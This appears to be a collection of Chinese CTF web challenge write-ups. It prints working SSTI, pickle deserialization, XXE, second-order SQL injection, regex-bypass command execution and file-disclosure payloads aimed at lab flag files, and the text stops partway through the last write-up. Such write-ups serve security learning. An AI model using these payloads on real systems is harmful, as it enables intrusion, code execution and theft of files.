[GYCTF2020]FlaskApp 题目
提示了,flask算pin
利用解密的时候报错,得出一些信息
1 2 3 4 5 6 7 8 9 10 @app.route('/decode' ,methods=['POST' ,'GET' ] ) def decode (): if request.values.get('text' ) : text = request.values.get("text" ) text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}" .format (text_decode.decode()) if waf(tmp) : flash("no no no !!" ) return redirect(url_for('decode' )) res = render_template_string(tmp)
根据代码,可以知道我们加密后的代码经过waf后就会被直接渲染,那么就可能存在ssti了。
我们进行绕过来尽可能的达到命令执行,因为有waf,我们对可能进行了过滤的单词使用拆分关键词进行绕过
就是输入base64加密后的值,然后进行解密,解密后绕过能绕过waf,那么就可以进行模板注入了
payload
1 2 3 4 5 6 7 8 9 10 11 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva' +'l' in b.keys() %} {{ b['eva' +'l' ]('__impor' +'t__' +'("o' +'s")' +'.pope' +'n' +'("cat /this_is_the_flag.txt").read()' ) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
解密后发现flag位置
直接cat的话会不给读
然后尝试一下新的方法
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open ('/this_is_the_fl' +'ag.txt' ,'r' ).read()}}{% endif %}{% endfor %}
这道题有两个解
第一种解,不需要算pin,这是一种新的ssti读取文件的方法(可以当作积累)
第二种解,flask算pin,之前做的题有写过
这样也能调出来,之前学到的积累
[极客大挑战 2019]RCE ME 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (strlen ($code )>40 ){ die ("This is too Long." ); } if (preg_match ("/[A-Za-z0-9]+/" ,$code )){ die ("NO." ); } @eval ($code ); } else { highlight_file (__FILE__ ); }
就是简单的无数字字母rce 加 限制长度
这篇文章讲了就是assert()函数的使用和如何绕过disable_function进行命令执行
通过环境变量LD_PRELOAD+mail劫持so来执行系统命令 就是利用这个来进行绕过
当然蚁剑也有这个功能 就是绕过disable_function 来进行命令执行
就是使用蚁剑的这个功能来进行绕过
[MRCTF2020]套娃 题目
网页源码
1 2 3 4 5 6 7 8 9 10 11 $query = $_SERVER ['QUERY_STRING' ]; if ( substr_count ($query , '_' ) !== 0 || substr_count ($query , '%5f' ) != 0 ){ die ('Y0u are So cutE!' ); } if ($_GET ['b_u_p_t' ] !== '23333' && preg_match ('/^23333$/' , $_GET ['b_u_p_t' ])){ echo "you are going to the next ~" ; }
第一个if考察$_SERVER['QUERY_STRING']
获取的是未经url解码的查询字符串,因此将_
url编码后可绕过。(url编码大小写不敏感)
第二个if考察preg_match()
只能匹配单行字符串,会将换行符后的字符串忽略。
secrettw.php
源码给这些东西
控制台执行输出结果 说是post一个Merak
这是jsfuck编码
给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 ); include 'takeip.php' ;ini_set ('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST ['Merak' ])){ highlight_file (__FILE__ ); die (); } function change ($v ) { $v = base64_decode ($v ); $re = '' ; for ($i =0 ;$i <strlen ($v );$i ++){ $re .= chr ( ord ($v [$i ]) + $i *2 ); } return $re ; } echo 'Local access only!' ."<br/>" ;$ip = getIp ();if ($ip !='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip ;if ($ip === '127.0.0.1' && file_get_contents ($_GET ['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change ($_GET ['file' ]);echo file_get_contents (change ($_GET ['file' ])); }?>
猜测getIp()
可能通过X-Forwarder-For
或client-ip
头可以绕过。
因为这里提示了“Local access only”
file_get_contents($_GET['2333']) === 'todat is a happy day' )
可由data:\\
伪协议绕过
这里的话php://input
应该也能绕过
1 2 secrettw.php?2333=data://text/plain,todat+is+a+happy+day 空格需要url编码
change()
函数将传入的字符串进行base64解码然后进行简单加密。
我们需要传入flag.php
故需要先将flag.php
逐字符进行加密,然后进行base64编码。
对change()的解码脚本
1 2 3 4 5 6 7 8 import base64cstr = "flag.php" tmp = "" for i in range (len (cstr)): ch = chr (ord (cstr[i])- i*2 ) tmp += ch print (base64.b64encode(tmp.encode()))
最终payload
1 http://6ad8a2e0-f0f7-49c9-8087-ac1021dbe1a2.node3.buuoj.cn/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI%3D
[WUSTCTF2020]颜值成绩查询 题目
考察的是 sql盲注
[FBCTF2019]RCEService 题目
知识点:PHP利用PCRE回溯次数限制绕过某些安全限制,多行绕过preg_match函数
preg_mathch 加上 m
的话就不行了 ,因为m
是多行独立匹配
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php putenv ('PATH=/home/rceservice/jail' );if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string ($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match ('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode ($json , true )['cmd' ]; if ($cmd !== NULL ) { system ($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
第一种解法
因为preg_match
只能匹配第一行,所以这里可以采用多行绕过。 因为putenv('PATH=/home/rceservice/jail');
修改了环境变量,所以只能使用绝对路径使用cat命令,cat
命令在/bin
文件夹下
payload
1 ?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
第二种解法
关于preg_match
,有p神曾经讲的PRCE
,但是这个题目复习环境是get 传参,而非post,会导致414报错,记录一下原题wp:
1 2 3 4 5 6 import requestspayload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a" *(1000000 ) + '"}' res = requests.post("http://challenges.fbctf.com:8085/" , data={"cmd" :payload}) print (res.text)
PHP利用PCRE回溯次数限制绕过某些安全限制
超出100万次的话会返回false 从而绕过if判断
这里的话是不能绕过 强等于的 ===
if(false===0)
这样就是不能相等了
[Zer0pts2020]Can you guess it?
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php include 'config.php' ; if (preg_match ('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); } if (isset ($_GET ['source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); } $secret = bin2hex (random_bytes (64 ));if (isset ($_POST ['guess' ])) { $guess = (string ) $_POST ['guess' ]; if (hash_equals ($secret , $guess )) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.' ; } } ?> <!doctype html> <html lang="en" > <head> <meta charset="utf-8" > <title>Can you guess it?</title> </head> <body> <h1>Can you guess it?</h1> <p>If your guess is correct, I'll give you the flag.</p> <p><a href="?source">Source</a></p> <hr> <?php if (isset($message)) { ?> <p><?= $message ?></p> <?php } ?> <form action="index.php" method="POST"> <input type="text" name="guess"> <input type="submit"> </form> </body> </html>
这道题的解法并不是在考察咋样绕过随机数那里
而是考察这段代码
1 2 3 4 if (isset ($_GET ['source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); }
正则的匹配ban掉了config.php。然后会highlight_file():
可以发现这里加上了basename() 可能是为了跨目录读文件,而问题正好出在了这里,演示
当我访问index.php时,我可以在后面加上一些东西,比如/index.php/config.php,这样仍然访问的是index.php,但经过basename()后,传进highlight_file()函数的文件名就变成了config.php,如果能绕过那个正则,就可以得到config.php源码了,而题目告诉FLAG就在config.php里,这道题就做完了。所以说,那个随机数就是个障眼法 可以发现发现,这个正则匹配了config.php/为$_SERVER[‘PHP_SELF’]的结尾
老套路了,可以用%0d之类的来污染绕过,这样仍然访问得到index.php:
1 /index.php/config.php/%0d bcd都行
好多东西都行
一堆不可见字符都行
1 0x80 0x81 0x82 0x83 0x84 0x85 0x86 0x87 0x88 0x89 0x8a 0x8b 0x8c 0x8d 0x8e 0x8f 0x90 0x91 0x92 0x93 0x94 0x95 0x96 0x97 0x98 0x99 0x9a 0x9b 0x9c 0x9d 0x9e 0x9f 0xa0 0xa1 0xa2 0xa3 0xa4 0xa5 0xa6 0xa7 0xa8 0xa9 0xaa 0xab 0xac 0xad 0xae 0xaf 0xb0 0xb1 0xb2 0xb3 0xb4 0xb5 0xb6 0xb7 0xb8 0xb9 0xba 0xbb 0xbc 0xbd 0xbe 0xbf 0xc0 0xc1 0xc2 0xc3 0xc4 0xc5 0xc6 0xc7 0xc8 0xc9 0xca 0xcb 0xcc 0xcd 0xce 0xcf 0xd0 0xd1 0xd2 0xd3 0xd4 0xd5 0xd6 0xd7 0xd8 0xd9 0xda 0xdb 0xdc 0xdd 0xde 0xdf 0xe0 0xe1 0xe2 0xe3 0xe4 0xe5 0xe6 0xe7 0xe8 0xe9 0xea 0xeb 0xec 0xed 0xee 0xef 0xf0 0xf1 0xf2 0xf3 0xf4 0xf5 0xf6 0xf7 0xf8 0xf9 0xfa 0xfb 0xfc 0xfd 0xfe 0xff
$_SERVER[‘PHP_SELF’]表示当前执行脚本的文件名,当使用了PATH_INFO时,这个值是可控的。所以可以尝试用/index.php/config.php?source来读取flag。
但是正则过滤了/config.php/*$/i
basename()
函数的一个问题,它会去掉文件名开头的非ASCII值:
1 2 var_dump(basename("xffconfig.php")); // => config.php var_dump(basename("config.php/xff")); // => config.php
所以这样就能绕过正则了,payload:
1 http://3.112.201.75:8003/index.php/config.php/%ff?source
[CISCN2019 华北赛区 Day1 Web2]ikun 题目
题目给了提示 就是给买到 lv6
然后尝试去购买,发现找不到页数,然后就查看源码,发现lv5
等都是由lv5.png
组成,所以就是写个脚本来遍历一下,看在哪也能找到lv6.png
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl = "http://fb27b666-6efb-4d33-9167-72b5c08b84ee.node4.buuoj.cn:81/shop?page=" for i in range (0 ,2000 ): urls = url + str (i) rs=requests.get(urls) print ("\r" ) print ('已检测' +str (i)+'页' ) if ('lv6.png' in rs.text): print ('在' +str (i)) break
最后发现是在第180页
发现钱不够,于是抓包查看一下,看能不能修改金额
修改折扣之后,购买成功,然后返回一个地址
发现只给admin用户访问,抓包的时候我们发现存在JWT
,那么我们猜测是修改这个JWT
第一次无密码加密的时候发现不能成功,那么就猜测这是需要密钥 来进行加密的
于是我们就尝试使用爆破工具
爆破出密钥
哪么就去jwt.io
尝试进行修改值
登录成功
查看源码 发现存在源码泄露
最后发现在Admin.py
文件里发现漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import tornado.webfrom sshop.base import BaseHandlerimport pickleimport urllibclass AdminHandler (BaseHandler ): @tornado.web.authenticated def get (self, *args, **kwargs ): if self.current_user == "admin" : return self.render('form.html' , res='This is Black Technology!' , member=0 ) else : return self.render('no_ass.html' ) @tornado.web.authenticated def post (self, *args, **kwargs ): try : become = self.get_argument('become' ) p = pickle.loads(urllib.unquote(become)) return self.render('form.html' , res=p, member=1 ) except : return self.render('form.html' , res='This is Black Technology!' , member=0 )
考察点就是python反序列化 pickle 和 loads 两关键词
payload
1 2 3 4 5 6 7 8 9 10 import pickleimport urllibimport commandsclass payload (object ): def __reduce__ (self ): return (commands.getoutput,('ls /' ,)) a = payload() print urllib.quote(pickle.dumps(a))
这是使用R操作码进行操作的 然后被禁了 还可以使用其他操作码进行绕过
1 c__builtin__%0Aeval%0Ap0%0A%28S%22open %28 %27 /flag.txt%27 %2C%27r%27 %29. read%28 %29 %22 %0Ap1%0Atp2%0ARp3%0A.
[CSCCTF 2019 Qual]FlaskLight 题目
给了提示
发现是jinjia2框架的ssti
payload
1 2 3 4 5 ?search={{'' .__class__.__mro__[2 ].__subclasses__()[258 ]('ls' ,shell=True ,stdout=-1 ).communicate()[0 ].strip()}} ?search={{'' .__class__.__mro__[2 ].__subclasses__()[258 ]('ls /flasklight' ,shell=True ,stdout=-1 ).communicate()[0 ].strip()}} ?search={{'' .__class__.__mro__[2 ].__subclasses__()[258 ]('cat /flasklight/coomme_geeeett_youur_flek' ,shell=True ,stdout=-1 ).communicate()[0 ].strip()}}
这里的话我都是直接拿存着的模板去打,当然也可以按照步骤一步一步来打
[GWCTF 2019]枯燥的抽奖 题目
查看源码发现了check.php
,然后访问得到一段php代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php header ("Content-Type: text/html;charset=utf-8" );session_start ();if (!isset ($_SESSION ['seed' ])){$_SESSION ['seed' ]=rand (0 ,999999999 );} mt_srand ($_SESSION ['seed' ]);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } $str_show = substr ($str , 0 , 10 );echo "<p id='p1'>" .$str_show ."</p>" ;if (isset ($_POST ['num' ])){ if ($_POST ['num' ]===$str ){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source ("check.php" );
这个考点的话之前做过了,现在在重温一便
就是说只要mt_srand(seed)
的seed
固定,那么就可以得到随机数的值
所以说我们得使用工具来通过爆破随机数的值来爆破出种子,从而得到接下来随机数的值
然后写个脚本把给的前十位字符串转化为工具能识别出来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 str1 ='rlD3S0vhc3' str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" result ='' length = str (len (str2)-1 ) for i in range (0 ,len (str1)): for j in range (0 ,len (str2)): if str1[i] == str2[j]: result += str (j) + ' ' +str (j) + ' ' + '0' + ' ' + length + ' ' break print (result)// 前两个str (j)代表第一个mt_rand()输出的界限,后两个参数0 和str (len (str1)-1 )表示传递到 mt_rand()的范围为0 到61
1 17 17 0 61 11 11 0 61 39 39 0 61 29 29 0 61 54 54 0 61 26 26 0 61 21 21 0 61 7 7 0 61 2 2 0 61 29 29 0 61
seed爆破工具
php_mt_seed - PHP mt_rand() seed cracker
拿到种子
[WUSTCTF2020]CV Maker 题目
这种题目有好多地方都是考点
于是就一个一个的进行尝试
最后发现这里考察的是 文件上传
这个函数应该很熟悉了吧,就是判断文件头是否为图片类型
那我先传入一个图片马,上传成功。但是发现无论是.htaccess,还是各种格式的都无法上传成功,图片马也无法利用。
这时猜测是否能通过web应用程序解析漏洞绕过。报错网页,发现是apache
随便输入点东西让他报错 发现是apache的
由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,jpg等扩展名是apache不能识别的
这里的话可以看看这篇文章 apache中间件漏洞解析总结
但是这里又无法上传成功,很奇怪。这里测试了一会,发现反着利用就可以了,上传1.jpg.php
看图片链接,发现上传路径/uploads。然后最奇特的一点,jpg好像被过滤成空了,直接是php文件了。那就直接利用。蚁剑连接,在根目录下找到flag
[NCTF2019]True XML cookbook 题目
和之前show的题目很像,都是长这样的
抓包判断出这是考察的XXE
payload
1 2 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [<!ENTITY goodies SYSTEM "file:///proc/net/arp">]>
这里的话直接读flag是读不出来的
但是XML解释器支持多种协议,其中PHP就支持http和gopher,所以可能flag存在于内网主机上,我们需要通过XXE对内网进行探测。
/etc/hosts 储存域名解析的缓存
/etc/passwd 用户密码
/proc/net/arp 每个网络接口的arp表中dev包
/proc/net/arp 可以直接查看内网ip
于是就开始爆破内网IP,就是扫c段,然后就可以发现flag了
匹配到正确的ip就能发现flag
[RCTF2015]EasySQL 题目
报错注入
wp
这里话是话就是通过修改密码处会进行报错提示
[CISCN2019 华北赛区 Day1 Web1]Dropbox 题目
给了一个登录框
涉及知识点 任意文件下载、phar反序列化、open_basedir
随便上传一点东西后,可以考虑是不是文件上传,经过尝试发现不是后,如何看这个下载 ,有点感觉像是文件包含 ,于是进行抓包
发现确实是文件包含
[CISCN2019 华北赛区 Day1 Web5]CyberPunk 考点
php伪协议
二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
查看源码发现提示
这里进行文件的读取的话,可以考虑php伪协议进行读取
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php ini_set ('open_basedir' , '/var/www/html/' );$file = (isset ($_GET ['file' ]) ? $_GET ['file' ] : null );if (isset ($file )){ if (preg_match ("/phar|zip|bzip2|zlib|data|input|%00/i" ,$file )) { echo ('no way!' ); exit ; } @include ($file ); } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <title>index</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <h2 >2077发售了,不来份实体典藏版吗?</h2 > <img class ="logo " src ="./assets /img /logo -en .png "><!--LOGOLOGOLOGOLOGO --> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <h3 >提交订单</h3 > <form role ="form " action ="./confirm .php " method ="post " enctype ="application /x -www -urlencoded "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> <h3 >地址:</h3 > <input type ="text " class ="subscribe -input " name ="address "> </p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">我正是送钱之人</button > </form > </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <h2 class ="mb ">订单管理</h2 > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html > <!--?file =?-->
查看解析出来的代码,发现还可以继续进行读取
change.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = addslashes ($_POST ["address" ]); $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $sql = "update `user` set `address`='" .$address ."', `old_address`='" .$row ['address' ]."' where `user_id`=" .$row ['user_id' ]; $result = $db ->query ($sql ); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>修改收货地址</title> <base href="./" > <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <p style ="margin :35px 0;"><br ></p > <h1 >修改收货地址</h1 > <form method ="post "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> <h3 >地址:</h3 > <input type ="text " class ="subscribe -input " name ="address "> </p > <p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">修改订单</button > </p > </form > <?php global $msg ; echo '<h2 class ="mb ">'.$msg .'</h2 >';?> </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <p style ="margin :35px 0;"><br ></p > <h2 class ="mb ">订单管理</h2 > <a href ="./index .php "> <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
search.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 <?php require_once "config.php" ; if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); if (!$row ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "<p>姓名:" .$row ['user_name' ]."</p><p>, 电话:" .$row ['phone' ]."</p><p>, 地址:" .$row ['address' ]."</p>" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>搜索</title> <base href="./" > <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <p style ="margin :35px 0;"><br ></p > <h1 >订单查询</h1 > <form method ="post "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> </p > <p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">查询订单</button > </p > </form > <?php global $msg ; echo '<h2 class ="mb ">'.$msg .'</h2 >';?> </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <p style ="margin :35px 0;"><br ></p > <h2 class ="mb ">订单管理</h2 > <a href ="./index .php "> <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
delete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $result = $db ->query ('delete from `user` where `user_id`=' . $row ["user_id" ]); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单删除成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>删除订单</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <p style ="margin :35px 0;"><br ></p > <h1 >删除订单</h1 > <form method ="post "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> </p > <p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">删除订单</button > </p > </form > <?php global $msg ; echo '<h2 class ="mb " style ="color :#ffffff ;">'.$msg .'</h2 >';?> </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <h2 class ="mb ">订单管理</h2 > <a href ="./index .php "> <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
config.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );$DATABASE = array ( "host" => "127.0.0.1" , "username" => "root" , "password" => "root" , "dbname" =>"ctfusers" ); $db = new mysqli ($DATABASE ['host' ],$DATABASE ['username' ],$DATABASE ['password' ],$DATABASE ['dbname' ]);
通过代码审计可以发现,user_name和phone都进行了严格的过滤,但是address只用addslashes()对预定义字符进行了转义,所以address参数为可以利用的注入点
由于address被addslashes()转义以后单引号等无法使用,但是更新地址时,会将旧地址保存下来,所以我们只要将在第一次修改地址时输入SQL注入语句,在第二次更新时(随便输),第一次更新的SQL语句会被调用从而引发二次注入。
因为报错注入最长输出32位所以分两次读取。
先去提交订单
这样的话地址和姓名电话就会存在数据库里
根据这段代码,在下次进行地址的修改的时候,就会执行old_address里面我们之前存放的代码
然后就会输出flag了
1 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
接下来查询后面的字段同理
[红明谷CTF 2021]write_shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting (0 );highlight_file (__FILE__ );function check ($input ) { if (preg_match ("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input )){ die ('hacker!!!' ); }else { return $input ; } } function waf ($input ) { if (is_array ($input )){ foreach ($input as $key =>$output ){ $input [$key ] = waf ($output ); } }else { $input = check ($input ); } } $dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); } switch ($_GET ["action" ] ?? "" ) { case 'pwd' : echo $dir ; break ; case 'upload' : $data = $_GET ["data" ] ?? "" ; waf ($data ); file_put_contents ("$dir " . "index.php" , $data ); } ?>
这是题目给的代码
首先通读代码,了解到该题提供了查看路径和写入文件的功能,但是存在WAF机制,不允许写入黑名单中的内容。使用echo标记简写<?=
绕过<?php
的限制,再用.
来连接p和hp,因为分号被过滤掉了,只执行一行语句可以省略:
